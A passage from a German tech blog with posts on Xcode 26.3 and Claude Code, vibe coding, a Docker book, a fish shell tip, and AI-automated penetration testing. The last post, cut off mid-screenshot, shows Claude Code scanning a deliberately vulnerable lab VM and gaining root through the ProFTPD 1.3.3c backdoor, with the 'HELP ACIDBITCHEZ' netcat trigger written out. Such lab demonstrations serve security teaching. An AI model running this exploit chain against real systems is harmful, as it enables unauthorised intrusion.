Schach-Spiel-App zu programmieren. Eine viertel Stunde später ist die App soweit fertig, dass ein erstes Spiel möglich ist. Derartige Mammut-Prompts sind aber selten zweckmäßig. Gehen Sie Schritt für Schritt vor (wobei ein Schritt durchaus die Implementierung eines neuen Features sein kann), testen Sie die App, führen Sie einen Commit durch! Xcode vs. Claude Code Apple hat sich mit der Integration von KI-Tools in Xcode viel Zeit gelassen. Außerhalb des Apple-Universums hat sich mehr bewegt. Der aus meiner Sicht gerade spannendste Weg zur Programmierung von Swift-Apps ist heute das Command Line Interface (CLI) Claude Code. Die Vorgehensweise sieht so aus: Sie erzeugen/laden mit Xcode Ihr Projekt. Gleichzeitig öffnen Sie ein Terminal, wechseln in das Projektverzeichnis und starten dort Claude Code. Durch Prompts weisen Sie Claude Code an, welche Funktionen es entwickeln soll. Xcode bleibt offen, Sie verwenden die IDE aber nicht (oder nur in Ausnahmefällen) zum Programmieren, sondern dazu, den von Claude Code produzierten Code zu lesen und die resultierende App zu testen bzw. auszuprobieren. Diese Vorgehensweise ist ungewohnt, aber effizient. Manche Entwickler sind der Ansicht, der größte Vorteil moderner KI-Tools bestünde darin, dass Xcode nicht oder zumindest nur noch am Rande benötigt wird. Im Vergleich zu den integrierten KI-Tools in Xcode bietet Claude Code diverse Zusatzfunktionen. Enorm hilfreich ist die Möglichkeit, Skills und MCP-Server zu nutzen. Das für mich wichtigste Feature ist aber der Planungsmodus (Ein-/Ausschalten mit Shift+Tab): Er gibt Ihnen die Möglichkeit, ein neues Feature in Ruhe zu planen, ohne den Code dabei anzurühren. Erst wenn Sie mit dem von Claude Code präsentiertem Plan vollständig zufrieden sind, beginnen Sie mit der Realisierung. Erfreulicherweise unterstützt Xcode ab Version 26.3 auch externe KI-Tools und stellt diesen via MCP dieselben Funktionen wie internen KI-Tools zur Verfügung. Dazu müssen Sie in den Xcode-Einstellungen Intelligence / Allow external agents to use Xcode tools aktivieren. Die Kommandos, um den Xcode-Server in Claude Code bzw. in Codex einmalig einzurichten, sehen so aus (Dokumentation von Apple): claude mcp add --transport stdio xcode -- xcrun mcpbridge codex mcp add xcode -- xcrun mcpbridge Damit der Aufruf von mcpbridge funktioniert, muss in den Xcode-Einstellungen unter Locations die richtige Xcode-Version eingestellt sein. Bei mir war der Eintrag ursprünglich leer (keine Ahnung warum), der MCP-Aufruf scheiterte deswegen. <img loading="lazy" decoding="async" src="https://kofler.info/wp-content/uploads/xc263-tools-config.png" alt="" width="1200" height="921" class="size-full wp-image-9435" srcset="https://kofler.info/wp-content/uploads/xc263-tools-config.png 1200w, https://kofler.info/wp-content/uploads/xc263-tools-config-847x650.png 847w, https://kofler.info/wp-content/uploads/xc263-tools-config-768x589.png 768w" sizes="auto, (max-width: 1200px) 100vw, 1200px" /> Achten Sie auf die richtige Einstellung der Option »Command Line Tools«! Wenn Claude Code oder ein anderes externes KI-Tool MCP-Funktionen nutzen will, müssen Sie das vorher bewilligen. Bestätigung des MCP-Verbindungsaufbaus Sind alle Voraussetzungen erfüllt, schreiben Sie die Prompts in Claude Code und verwenden Xcode nur noch, um den Code anzusehen bzw. Ihre App zu testen. <img loading="lazy" decoding="async" src="https://kofler.info/wp-content/uploads/xc263-claude-code.png" alt="" width="1920" height="1354" class="size-full wp-image-9434" srcset="https://kofler.info/wp-content/uploads/xc263-claude-code.png 1920w, https://kofler.info/wp-content/uploads/xc263-claude-code-850x599.png 850w, https://kofler.info/wp-content/uploads/xc263-claude-code-1280x903.png 1280w, https://kofler.info/wp-content/uploads/xc263-claude-code-768x542.png 768w, https://kofler.info/wp-content/uploads/xc263-claude-code-1536x1083.png 1536w" sizes="auto, (max-width: 1920px) 100vw, 1920px" /> Claude Code im Terminal unten hat eine Todo-App programmiert. Claude Code nutzt MCP, um Xcode-Funktionen aufzurufen. Sonstiges Auch Xcode 26.3 verwendet Swift 5 per Default. Wenn Sie Swift 6 wünschen, müssen Sie die Build Settings ändern. (Update 31.3.2026: Auch Xcode 26.4 bleibt bei Swift 5.) Der in Xcode 26 eliminierte Attribute Inspector ist nicht zurückgekommen. Das gilt auch für diverse andere UI-Elemente (z.B. die Refactor-Kommandos Extract Subview oder Embed in Xxx), die es früher in Xcode gab und die mit Version 26 verschwunden sind. Die aktuelle Swift-Version lautet — unverändert seit September 2025 — 6.2. (Genau genommen sind wir bei 6.2.4, aber es gibt seit einem halben Jahr keine nennenswerten Neuerungen.) Quellen/Links https://developer.apple.com/documentation/xcode-release-notes/xcode-26_3-release-notes https://www.apple.com/newsroom/2026/02/xcode-26-point-3-unlocks-the-power-of-agentic-coding https://developer.apple.com/documentation/Xcode/setting-up-coding-intelligence https://developer.apple.com/documentation/xcode/giving-agentic-coding-tools-access-to-xcode https://zenvanriel.com/ai-engineer-blog/apple-xcode-agentic-coding-mcp-guide/ https://kofler.info/ki-skills-fuer-swift/ Videos zum Thema »Agentic Coding mit Xcode 26.3« https://developer.apple.com/videos/play/tech-talks/111428/ (KI-Crashkurs, 5 Minuten) https://www.youtube.com/watch?v=QdpaI_j0FRU (30-minütiges Video von Stewart Lynch) https://www.youtube.com/live/sc6pvW6vQzA (zweistündiges Video von Paul Hudson, zwar mit einigem Leerlauf, aber dennoch empfehlenswert; behandelt auch Claude Code)
Warum jetzt jeder programmieren kann, und warum das trotzdem Blödsinn ist
Heute kann angeblich jeder programmieren. Sagen zumindest Forscher und CEOs aus der KI-Industrie. »Vibe Coding« ist das Wort des Jahres 2025. Sinngemäß meint das müheloses Programmieren dank KI-Unterstützung. Und tatsächlich ist jede der folgenden Aussagen grundsätzlich richtig, auf jeden Fall nicht ganz falsch: 2023, Andrej Karpathy (KI-Forscher, u.a. bei Tesla und OpenAI): The hottest new … Warum jetzt jeder programmieren kann, und warum das trotzdem Blödsinn ist weiterlesen →
Heute kann angeblich jeder programmieren. Sagen zumindest Forscher und CEOs aus der KI-Industrie. »Vibe Coding« ist das Wort des Jahres 2025. Sinngemäß meint das müheloses Programmieren dank KI-Unterstützung. Und tatsächlich ist jede der folgenden Aussagen grundsätzlich richtig, auf jeden Fall nicht ganz falsch: 2023, Andrej Karpathy (KI-Forscher, u.a. bei Tesla und OpenAI): The hottest new programming language is English. 2024, Jensen Huang (NVIDIA): It is our job to create computing technology such that nobody has to program. (…) Everybody in the world is now a programmer. 2025, Mark Zuckerberg (Meta): Probably in 2025, we (…) are going to have an AI that can effectively be a sort of mid-level engineer that you have at your company that can write code. 2026, Boris Cherny (Claude-Code-Erfinder): Coding is largely solved Aber wie in jedem guten Krimi ist nichts so einfach, wie es scheint. Traum … Coding is largely solved ist ein wenig optimistisch. Tatsächlich können Coding-Tools, also IDEs wie Antigravity, Cursor oder VS Code sowie CLI-Tools wie Claude Code oder Codex in Kombination mit einem guten, kommerziellen Sprachmodell von z.B. Anthropic, Google oder OpenAI richtig gut programmieren. Der folgende Prompt führt bei den meisten Systemen innerhalb von Sekunden zum Ziel: Prompt: Please provide a minimal implementation of ‚brick out‘ for the web browser. Use node. Keep the features to a minimum and the code concise. Für Nicht-Programmierer besteht die größte Hürde darin, Node.js zu installieren, das Programm auszuführen und das Browserfenster richtig zu öffnen (also z.B. http://localhost:3000). Agentic Tools funktionieren aber auch dann großartig, wenn es darum geht, sich in eine komplexe, existierende Code-Basis einzuarbeiten. Prompt: Get me an overview about this project. In der Folge ist es empfehlenswert, im Projektverzeichnis in AGENTS.md oder CLAUDE.md eine Zusammenfassung der wichtigsten Projektdaten zu speichern. Claude Code erstellt sich diese Datei mit /init gleich selbst, etwas Nacharbeit ist aber zweckmäßig. Der Sinn dieser Datei: Das KI-Tool beginnt nicht jede Session bei Null. Vielmehr weiß es, welche Regeln für Ihr Projekt gelten: Build-Tools, Unit-Tests, Datenbank- und Netzwerkzugriff, Bibliotheken, Schreibweisen usw. Unter diesen Voraussetzungen können Sie dem KI-Tool Ihrer Wahl jetzt Aufträge geben, welche neuen Features es programmieren soll. Wird der Code anschließend funktionieren? Die Chancen stehen mittlerweile nicht schlecht. Eventuell müssen Sie bei Problemen mit ein paar weiteren Prompts nachhelfen. Idealerweise geben Sie dem Agentic-Coding-Tool die Erlaubnis, den Code selbst zu testen. Dann kann das Tool auftretenden Fehler oft selbst lösen. … und Wirklichkeit Jedes Projekt ist anders. KI-Tools brillieren, wenn populäre Programmiersprachen für alltägliche Probleme zur Anwendung kommen: also beim Python-Script zur Auswertung von CSV-Dateien, bei der Node.js-Anwendung für eine Web-UI oder beim Datenbank-Backend samt REST-API. Bei richtig großen Projekten mit Hunderten, ja Tausenden von Dateien, bei ganz neuen Compiler-Versionen oder Bibliotheken, bei exotischen Programmiersprachen mit wenig Trainingsmaterial im Internet sinkt die Erfolgsquote deutlich. KI-Tools sind weiterhin eine Hilfe, aber nicht im gleichen Ausmaß. Hinweise im Prompt auf zusätzliche Dokumentation, auf interne Projektabhängigkeiten oder sonstige Besonderheiten machen plötzlich einen riesigen Unterschied. Wer kann die Tools bedienen? Mit dieser Frage kommen wir zum Kern des Problems: Die Eingangszitate stammen von Personen, die entweder ein kommerzielles Interesse daran haben, dass Coding mit KI funktioniert, oder von IT-Profis, die ein riesiges IT-Grundwissen und eine Menge praktischer Erfahrung mit KI-Tools haben. Das sind genau die Leute, bei denen Coding mit KI tatsächlich richtig gut funktioniert. Die wissen, wie der Prompt richtig formuliert wird, erkennen offensichtlich fehlgeleitete Antworten und greifen korrigierend ein, bevor sich das KI-Tool in eine Sackgasse manövriert. Wenn Sie regelmäßig den Blog von Simon Willison oder Texte von vergleichbaren Entwicklern lesen, also von Leuten, die täglich programmieren und ständig die neuesten KI-Tools ausprobieren, dann gewinnen Sie den Eindruck: Coding mit KI ist kinderleicht. Drei, vier längere Prompts, schon ist ein neues Feature fertig. Jeder moderne Software Developer arbeitet so. Tatsächlich ist es aber gerade umgekehrt! Wenn ich in meinem privaten und beruflichen Umfeld über KI spreche, stoße ich auf viel Zurückhaltung. Jeder hat schon KI-Tools ausprobiert, allerdings hat auch jeder schon negative Erfahrungen gemacht. Nur wenige kennen die gerade aktuellen Tools oder Sprachmodelle. Nur wenigen ist klar, wie gut diese Tools mittlerweile sind. (Das ist verständlich: Professionelle Entwickler stehen unter Zeitdruck, sollen Features liefern, Bugs beheben, Sicherheitslücken stopfen. Da bleibt wenig Zeit, um ständig neue KI-Tools auszuprobieren.) Was heißt programmieren? Jeder kann programmieren! Vielleicht, aber welche Programme? Für ein kleines Tool oder Spiel, das nur lokal/privat genutzt werden soll, gelten ganz andere Regeln als für professionelle Software. Ja, Vibe Coding macht Spaß. Aber wollen Sie in einem Auto sitzen (oder diesem Auto begegnen), dessen Software so erstellt wurde? Prompt: Entwickle die Steuerungs-Software für die Lenkung und Bremse eines Autos. Wenn das Lenkrad nach links bzw. rechts gedreht wird, ändere den Einstellwinkel der Räder entsprechend. Wenn das Bremspedal gedrückt wird, aktiviere die Bremsen der vier Räder. Je mehr das Pedal gedrückt wird, desto stärker soll das Auto abgebremst werden. Falls die Räder blockieren, während sich das Fahrzeug noch bewegt, aktiviere das Antiblockiersystem. Was kann schon schief gehen? Erfahrungen aus vier Jahren »Scripting«-Unterricht Die vergangenen vier Jahre habe ich auf der FH JOANNEUM in Kapfenberg das Fach »Scripting« unterrichtet. Die StudentInnen mussten in Zweier- oder Dreiergruppen eine Projektarbeit durchführen. In allen vier Jahren durften sie dabei — ganz offiziell! — KI-Tools zu Hilfe nehmen. Im Verlauf des ersten Durchlaufs im Wintersemester 2022/23 gab OpenAI die erste Version von ChatGPT frei. Alle waren beeindruckt (auch ich), dass reguläre Ausdrücke jetzt mit KI-Hilfe zusammengestellt werden konnten. Manchmal funktionierten sie sogar. KI-Tools waren bei der Projektarbeit eine gewisse Hilfe, aber keine große. Bis zum vierten Durchlauf (WS 2025/26) machten KI-Tools gleich mehrere Quantensprünge. Agentic Coding wurde zur Selbstverständlichkeit, zumindest für einen Teil der Teilnehmer. Einige Teams lieferten großartige Projektarbeiten, die 2022/23 aufgrund des Zeitaufwands vollkommen undenkbar gewesen wären. Umgekehrt gilt: Den Code etlicher Arbeiten aus dem Jahr 2022/23 würden heutige KI-Tools mit zwei, drei Prompts direkt liefern. Fertig ist das Projekt! Der Quantensprung in der Qualität von KI-Tools führte also — nicht ganz überraschend — zu einem Quantensprung auch bei den Projektarbeiten. Jeder, jede kann jetzt Programmieren, oder? Ich will hier aber auf einen anderen Punkt hinaus. Das Vorwissen meiner StudentInnen variiert stark. Manche programmieren seit Jahren, hatten bereits eine solide IT-Ausbildung. Andere sind praktisch neu in der IT. (Die Lehrveranstaltung findet im 3. Semester statt.) Obwohl alle Teams KI-Tools verwenden dürfen, spiegelt sich das Vorwissen dramatisch in den Projektarbeiten wider. Auch wenn das Niveau der heurigen Projektarbeiten im Durchschnitt viel höher war als drei Jahre zuvor, blieb die Spannbreite unverändert, wurde womöglich noch größer. Teams mit viel IT-Vorwissen bedienten die KI-Tools intelligenter, zielgerichteter und lieferten viel bessere Ergebnisse. Teams, deren Teilnehmer weniger IT-Erfahrung hatten, halfen auch die KI-Tools nur in begrenztem Ausmaß. Obwohl die Ausgangslage für alle gleich war, bleibt es dabei: Besseres Vorwissen, bessere Ergebnisse. Die KI ändert daran nichts, verstärkt eher die Unterschiede. Fazit KI macht Software-Entwicklung schneller, effizienter und, wie ich finde, angenehmer. KI nimmt das lästige Formulieren von Schleifen, Methoden und Klassen ab. Es ist nicht mehr so wichtig, ob Sie alle Syntax-Details auswendig kennen — die KI kümmert sich schon darum. Davon abgesehen ändert sich aber überraschend wenig: Die vernünftige Anwendung von KI-Tools setzt weiterhin ein großes IT-Wissen voraus. Wer mehr Erfahrung hat, mehr Grundlagen kennt, eine solide IT-Ausbildung hat, der/die wird bessere Ergebnisse erzielen, qualitativ guten, sicheren, wartbaren Code produzieren. Das gilt mit oder ohne KI-Tools. Aber mit KI sind Sie in den meisten Fällen schneller fertig. KI-Tools ändern nichts daran, dass Sie intelligente Prompts formulieren und den resultierenden Code verstehen müssen. Auch in Zukunft müssen Sie im professionellen Segment die Verantwortung für Ihren Code übernehmen. Sie können sich nicht drauf ausreden, dass die KI eben einen Fehler gemacht hat. Es bleibt Ihr Fehler! Kurz und gut: Professionelle Software-Entwicklung kann eben doch nicht jeder! Vibe Coding ist in diesem Segment nicht zielführend. PS: Zuletzt die obligatorische Werbeeinschaltung (obwohl diese Website ja eigentlich werbefrei ist, auf jeden Fall frei von externer Werbung): Die vergangenen vier Monate haben Bernd Öggl, Sebastian Springer und ich unser Buch »Coding mit KI« komplett überarbeitet. In meiner fast 40-jährigen Autorenkarriere ist es noch nie vorgekommen, dass ich ein Buch nach nur 18 Monaten so umfassend ändern musste! Wenn Sie sich für KI-assistierte Software-Entwicklung interessieren, werfen Sie einen Blick in das Buch. Es erscheint Anfang Mai. Quellen/Links https://blog.collinsdictionary.com/language-lovers/collins-word-of-the-year-2025-ai-meets-authenticity-as-society-shifts https://x.com/karpathy/status/1617979122625712128 https://www.tomshardware.com/tech-industry/artificial-intelligence/jensen-huang-advises-against-learning-to-code-leave-it-up-to-ai https://www.engadget.com/ai/mark-zuckerberg-predicts-ai-will-write-most-of-metas-code-within-12-to-18-months-213851646.html https://www.lennysnewsletter.com/p/head-of-claude-code-what-happens
Das Docker-Buch, das ich zusammen mit Bernd Öggl 2018 konzipiert und verfasst habe, hat sich zu einem kleinen Bestseller entwickelt. Die 5. Auflage wird gerade in die Buchhandlungen ausgeliefert. Für diese Auflage haben wir das Buch vollständig aktualisiert und alle Beispiele auf den neuesten Stand gebracht. compose.yaml hat in diesem Buch schon immer eine große … 📚 Docker (5. Aufl.) weiterlesen →
Das Docker-Buch, das ich zusammen mit Bernd Öggl 2018 konzipiert und verfasst habe, hat sich zu einem kleinen Bestseller entwickelt. Die 5. Auflage wird gerade in die Buchhandlungen ausgeliefert. <img loading="lazy" decoding="async" src="https://kofler.info/wp-content/uploads/docker5.jpg" alt="Das Bild zeigt das Cover eines Fachbuchs zum Thema Docker. Im Zentrum ist eine Illustration eines Wals im Wasser zu sehen, auf dessen Rücken farbige Containerstapel stehen, daneben kleine Personen. Der Titel „Docker“ ist groß auf einem violetten Balken platziert, darunter der Untertitel „Das Praxisbuch für Entwickler und DevOps-Teams“. Oben stehen die Autoren Bernd Öggl und Michael Kofler sowie Hinweise auf die 5., aktualisierte Auflage." width="200" height="300" class="alignnone size-full wp-image-9314" /> Für diese Auflage haben wir das Buch vollständig aktualisiert und alle Beispiele auf den neuesten Stand gebracht. compose.yaml hat in diesem Buch schon immer eine große Rolle gespielt, aber diese Auflage enthält diesbezüglich noch mehr Grundlagen und Beispiele. Schließlich haben wir das Buch um einige neue Kapitel bzw. Abschnitte erweitert: KI-Funktionen mit Docker: Sprachmodelle mit dem Docker Model Runner (DMR) ausführen, MCP mit dem Docker-MCP-Katalog nutzen Prometheus Monitoring Server mit Docker Compose aufsetzen Netzwerk- und Firewall-Interna in Docker und Podman Windows-Testinstallationen im Grafikmodus mit Dockur ausführen Toolbx: Software-Umgebungen ohne Container-Isolierung ausführen Hier finden Sie mehr Infos zum Buch, den obligatorischen Bestell-Links sowie eine Leseprobe.
Kurztipp: fish mit VS Code und Remote Shell
In diesem Blog-Artikel habe ich meine Begeisterung für fish zum Ausdruck gebracht. Aber immer wieder stolpere ich über kleine Imkompatibilitäten, wenn andere Programme pardout die bash oder zsh voraussetzen. VS Code und Remote Shell Mit VS Code und der Erweiterung Remote SSH können Sie via SSH ein Verzeichnis auf einem Linux-Rechner öffnen und die dort … Kurztipp: fish mit VS Code und Remote Shell weiterlesen →
In diesem Blog-Artikel habe ich meine Begeisterung für fish zum Ausdruck gebracht. Aber immer wieder stolpere ich über kleine Imkompatibilitäten, wenn andere Programme pardout die bash oder zsh voraussetzen. VS Code und Remote Shell Mit VS Code und der Erweiterung Remote SSH können Sie via SSH ein Verzeichnis auf einem Linux-Rechner öffnen und die dort befindlichen Dateien bearbeiten. Das funktioniert wunderbar, wenn der dort die bash oder zsh läuft. Mit der fish gelingt zwar der initiale Verbindungsaufbau, wenig später kommt es aber Timeout. Das Problem ist — eh‘ erst seit fast sechs Jahren — in einem GitHub-Issue dokumentiert. Hoffnung auf Behebung gibt es wohl nicht. Aber immerhin enthält das Issue einige Lösungsvorschläge. Am praktikabelsten ist es aus meiner Sicht, in der Konfigurationsdatei settings.json von VS Code (unter Linux .config/Code/User/settings.json) die betroffenen Hostnamen einzutragen und ihnen die Plattform Linux zuzuordnen. Absurd, dass VS Code offensichtlich nicht in der Lage ist, diesen Umstand selbst zu erkennen. { ... "remote.SSH.remotePlatform": { "kofler.info": "linux", "myotherhost.com": "linux" ... } } Python Environments Wenn Sie ein Python Environment einrichten, funktioniert dessen übliche Aktivierung mit source .venv/bin/activate nicht. Es gibt (übrigens schon seit 2012!) ein entsprechendes fish-Script — Sie müssen nur daran denken, es auch zu verwenden. mkdir my-project cd my-project python3 -m venv .venv source .venv/bin/activate # bash, zsh source .venv/bin/activate.fish # fish !!! Quellen, Links https://github.com/microsoft/vscode-remote-release/issues/2509 https://github.com/python/cpython/issues/59622
Hacking / Penetration Testing mit KI-Tools automatisieren
Moderne KI-Tools zum Agentic Coding können nicht nur programmieren, sie können auch Kommandos ausführen — im einfachsten Fall mit grep in der Code-Basis nach einem Schlüsselwort suchen. Diese Funktionalität geht aber weiter als Sie vielleicht denken: Einen SSH-Account mit Key-Authentifizierung vorausgesetzt, kann das KI-Tool auch Kommandos auf externen Rechnern ausführen! Das gibt wiederum weitreichende Möglichkeiten, … Hacking / Penetration Testing mit KI-Tools automatisieren weiterlesen →
Moderne KI-Tools zum Agentic Coding können nicht nur programmieren, sie können auch Kommandos ausführen — im einfachsten Fall mit grep in der Code-Basis nach einem Schlüsselwort suchen. Diese Funktionalität geht aber weiter als Sie vielleicht denken: Einen SSH-Account mit Key-Authentifizierung vorausgesetzt, kann das KI-Tool auch Kommandos auf externen Rechnern ausführen! Das gibt wiederum weitreichende Möglichkeiten, sei es zu Administration von Linux-Rechner, sei es zur Durchführung von Hacking- oder Penetration-Testing-Aufgaben. In diesem Beitrag illustriere ich anhand eines Beispiels das sich daraus ergebende Potenzial. Entgegen landläufiger Meinung brauchen Sie zum Hacking per KI keinen MCP-Server! Ja, es gibt diverse MCP-Server, mit denen Sie bash- oder SSH-Kommandos ausführen bzw. Hacking-Tools steuern können, z.B. ssh-mcp, mcp-kali-server oder hexstrike-ai. Aber sofern Ihr KI-Tool sowieso Kommandos via SSH ausführen kann, bieten derartige MCP-Server wenig nennenswerte Vorteile. <img loading="lazy" decoding="async" src="https://kofler.info/wp-content/uploads/claude-hacking-setup-scaled.jpg" alt="Desktop-Screenshot mit zwei laufenden virtuellen Maschinen und einer Terminal-Session links. Im Vordergrund zeigt ein geöffnetes VM-Fenster Kali Linux mit großem KALI-Logo, darüber ein weiteres virtuelles Fenster mit Konsole. Links ist ein Terminal mit Protokollausgaben zu SSH-, sudo- und Benutzeranlegen (newroot) sowie Verweisen auf eine lokale Claude-Code-Installation. Oben mittig ist die Virtuelle Maschinenverwaltung mit Liste der VMs sichtbar." width="2560" height="1310" class="size-full wp-image-9353" srcset="https://kofler.info/wp-content/uploads/claude-hacking-setup-scaled.jpg 2560w, https://kofler.info/wp-content/uploads/claude-hacking-setup-850x435.jpg 850w, https://kofler.info/wp-content/uploads/claude-hacking-setup-1280x655.jpg 1280w, https://kofler.info/wp-content/uploads/claude-hacking-setup-768x393.jpg 768w, https://kofler.info/wp-content/uploads/claude-hacking-setup-1536x786.jpg 1536w, https://kofler.info/wp-content/uploads/claude-hacking-setup-2048x1048.jpg 2048w" sizes="auto, (max-width: 2560px) 100vw, 2560px" /> Setup auf einem Fedora-Rechner mit zwei virtuellen Maschinen und lokaler Claude-Code-Installation Setup Als Ausgangspunkt für dieses Beispiel dient ein KI-Tool mit CLI (Command Line Interface), z.B. Claude Code, Codex CLI, Gemini CLI oder GitHub Copilot CLI. Ebenso geeignet sind Open-Source-Tools wie Aider oder Goose, die mit einem lokalen Sprachmodell verbunden werden können. Ich habe für meine Tests Claude Code auf einem Linux-Rechner (Fedora) installiert. Claude Code erfordert ein Claude-Abo oder einen API-Zugang bei Anthropic. Außerdem habe ich zwei virtuelle Maschinen eingerichtet (siehe den obigen Screenshot). Dort läuft einerseits Kali Linux (Hostname kali) und andererseits Basic Pentesting 1 (Hostname vtcsec). Basic Pentesting 1 ist ein in der Security-Ausbildung beliebtes System mit mehreren präparierten Sicherheitslücken. Für das Netzworking habe ich der Einfachheit halber beide virtuellen Maschinen einer Bridge zugeordnet, so dass sich diese quasi im lokalen Netzwerk befinden. Sicherheitstechnisch für diese Art von Tests wäre es vernünftiger, Kali Linux zwei Netzwerkadapter zuzuweisen, einen für den Zugang zum Hostrechner (Fedora) und einen zweiten für ein internes Netzwerk. Das Target-System (hier Basic Pentesting 1) bekommt nur Zugang zum internen Netzwerk. Damit kann Kali Linux mit dem Target-System kommunizieren, aber es gibt keine Netzwerkverbindung zwischen dem Target-System und dem Host-Rechner oder dem lokalen Netzwerk. In Kali Linux habe ich den Benutzer aiadmin eingerichtet. Dieser darf per sudo alle Kommandos ohne Passwort ausführen: # in /etc/sudoers auf Kali Linux aiadmin ALL=(ALL) NOPASSWD: ALL Auf dem lokalen Rechner (Fedora) kümmert sich .ssh/config darum, dass aiadmin der Default-User für SSH-Verbindungen ist. # Datei .ssh/config auf dem lokalen Rechner Host kali User aiadmin Damit der SSH-Login bei Kali Linux ohne Passwort funktioniert, habe ich einen SSH-Key eingerichtet: fedora$ ssh-copy-id aiadmin@kali Sobald das funktioniert, habe ich den interaktiven Login für aiadmin gesperrt (Option -l wie lock). kali$ sudo passwd -l aiadmin Der privilegierte Benutzer aiadmin kann jetzt also NUR noch per SSH-Key-Login genutzt werden. Alternatives Setup Bei diesem Setup gibt es eine logische Barriere zwischen unserem Arbeitsrechner mit diversen Entwickler- und KI-Tools und Kali Linux. Wenn Sie im Security-Umfeld arbeiten, ist es naheliegen, Claude Code oder ein anderes KI-Tool direkt in Kali Linux zu installieren und so den SSH-Umweg einzusparen. Setup testen Nun richten Sie ein leeres Projektverzeichnis ein, wechseln dorthin und starten claude. Die beiden ersten Prompts dienen dazu, Claude das Testumfeld zu erklären und dieses auszuprobieren. > There is a Kali Linux installation with hostname kali. Try to connect via SSH. (OK ...) > Kali can connect to host vtcsec. This is a VM designated for penetration testing. ping to it! (OK ...) <img loading="lazy" decoding="async" src="https://kofler.info/wp-content/uploads/claude-hacking1.png" alt="Der Screenshot zeigt ein Terminalfenster mit Claude Code, in dem erste Tests für ein Setup ausgeführt werden. Oben ist die Startseite von „Claude Code v2.1.29“ mit „Welcome back Michael!“ sowie Tipps und „No recent activity“ zu sehen. Darunter werden per Bash SSH-Verbindungen zu „kali“ geprüft und eine erfolgreiche Verbindung ohne Passwort bestätigt. Anschließend zeigt ein Ping auf „vtcsec“ erfolgreiche IPv6-Antworten und 0% Paketverlust." width="1938" height="1636" class="size-full wp-image-9349" srcset="https://kofler.info/wp-content/uploads/claude-hacking1.png 1938w, https://kofler.info/wp-content/uploads/claude-hacking1-770x650.png 770w, https://kofler.info/wp-content/uploads/claude-hacking1-1137x960.png 1137w, https://kofler.info/wp-content/uploads/claude-hacking1-768x648.png 768w, https://kofler.info/wp-content/uploads/claude-hacking1-1536x1297.png 1536w" sizes="auto, (max-width: 1938px) 100vw, 1938px" /> Erste Prompts um das Setup zu testen AI Assisted Hacking Im dritten Prompt geht es richtig los. Claude soll in Kali Linux einen Port Scan für das Pentesting-System durchführen. Dort findet es eine veraltete ProFTPD-Version mit einer bekannten Sicherheitslücke. > Now do a proper port scan for vtcsec. Find out what software is running. (...) Here's what's running on vtcsec: Port Service Version 21 FTP ProFTPD 1.3.3c 22 SSH OpenSSH 7.2p2 (Ubuntu) 80 HTTP Apache 2.4.18 (Ubuntu) OS: Linux 3.x/4.x (Ubuntu), running as a QEMU VM. Notable observations: - ProFTPD 1.3.3c is a notably old version with known vulnerabilities (including a backdoor in certain distributions). - OpenSSH 7.2p2 and Apache 2.4.18 are also outdated versions with known CVEs. - Only 3 ports open, 997 closed — a fairly minimal attack surface. <img loading="lazy" decoding="async" src="https://kofler.info/wp-content/uploads/claude-hacking2.png" alt="Das Bild zeigt einen Terminal-/Chat-Screenshot, in dem ein Port-Scan mit Nmap ausgewertet wird. Oben ist der Bash-Aufruf „sudo nmap -sV -sC -O“ sowie ein Scan-Report für einen Host (192.168.178.48) zu sehen. Darunter listet eine Tabelle offene Ports 21/22/80 mit ProFTPD 1.3.3c, OpenSSH 7.2p2 und Apache 2.4.18. Hinweise nennen veraltete Versionen, Linux/Ubuntu auf QEMU und nur drei offene Ports." width="1938" height="1382" class="size-full wp-image-9350" srcset="https://kofler.info/wp-content/uploads/claude-hacking2.png 1938w, https://kofler.info/wp-content/uploads/claude-hacking2-850x606.png 850w, https://kofler.info/wp-content/uploads/claude-hacking2-1280x913.png 1280w, https://kofler.info/wp-content/uploads/claude-hacking2-768x548.png 768w, https://kofler.info/wp-content/uploads/claude-hacking2-1536x1095.png 1536w" sizes="auto, (max-width: 1938px) 100vw, 1938px" /> Port-Scan durchführen > Find exploits for ProFTPD. (...) Here are the exploits found for ProFTPD 1.3.3: Exploit ProFTPd 1.3.2rc3 < 1.3.3b (FreeBSD) Telnet IAC Buffer Overflow ProFTPd 1.3.2rc3 < 1.3.3b (Linux) - Telnet IAC Buffer Overflow ProFTPd 1.3.3c - Compromised Source Backdoor ProFTPd IAC 1.3.x - Remote Command Execution ProFTPd 1.3.3c - Backdoor Command Execution (Metasploit) The most relevant one is the backdoor in ProFTPD 1.3.3c - this is the infamous incident where the ProFTPD source code was compromised, and a backdoor was inserted. It allows remote command execution by sending HELP ACIDBITCHEZ to the FTP service. There's both a manual exploit and a Metasploit module available. Want me to try the backdoor exploit against vtcsec? Wir wollen nun die gefundene Backdoor nutzen. Der erste Exploit-Versuch scheitert, aber bereits im zweiten Versuch kann Claude die Backdoor in ProFTPD ausnutzen und erreicht root-Rechte. > Yes, try it! Bash(ssh kali "searchsploit -x linux/remote/15662.txt") Exploit: ProFTPd 1.3.3c - Compromised Source Backdoor Remote Code Execution URL: https://www.exploit-db.com/exploits/15662 Path: /usr/share/exploitdb/exploits/linux/remote/15662.txt Bash(ssh kali 'echo -e "HELP ACIDBITCHEZ\nid\nhostname \nuname -a\nexit\n" | nc -w 5 vtcsec 21') The simple netcat approach didn't return command output. Let me try with a proper interactive approach using Metasploit or a Python script. Bash(ssh kali 'python3 -c " ..." ') Banner: 220 ProFTPD 1.3.3c Server (vtcsec) [192.168.178.48] Response: uid=0(root) gid=0(root) groups=0(root)... Response: vtcsec Response: Linux vtcsec 4.10.0-28-generic The backdoor exploit worked. Here's what we got: - Access level: uid=0(root) — full root access - Hostname: vtcsec - Kernel: Linux 4.10.0-28-generic (Ubuntu 16.04) The HELP ACIDBITCHEZ backdoor in ProFTPD 1.3.3c gave an unauthenticated remote root shell with zero effort — no credentials, no authentication, just a single FTP command. Want me to explore the system further or move on to testing the other services? <img loading="lazy" decoding="async" src="https://kofler.info/wp-content/uploads/claude-hacking3.png" alt="Der Screenshot zeigt eine Terminal-/Chat-Ausgabe zur Ausnutzung der ProFTPD‑Backdoor in Version 1.3.3c. Beschrieben wird der Trigger über den FTP-Befehl „HELP ACIDBITCHEZ“ und die Suche nach dem passenden Exploit (Exploit‑DB/15662). Anschließend werden Bash-/Netcat- sowie ein Python‑Ansatz ausgeführt. Die Ausgabe bestätigt schließlich Root-Zugriff (uid=0) auf den Host „vtcsec“ samt Kernel/Ubuntu-Version." width="1938" height="2036" class="size-full wp-image-9351" srcset="https://kofler.info/wp-content/uploads/claude-hacking3.png 1938w, 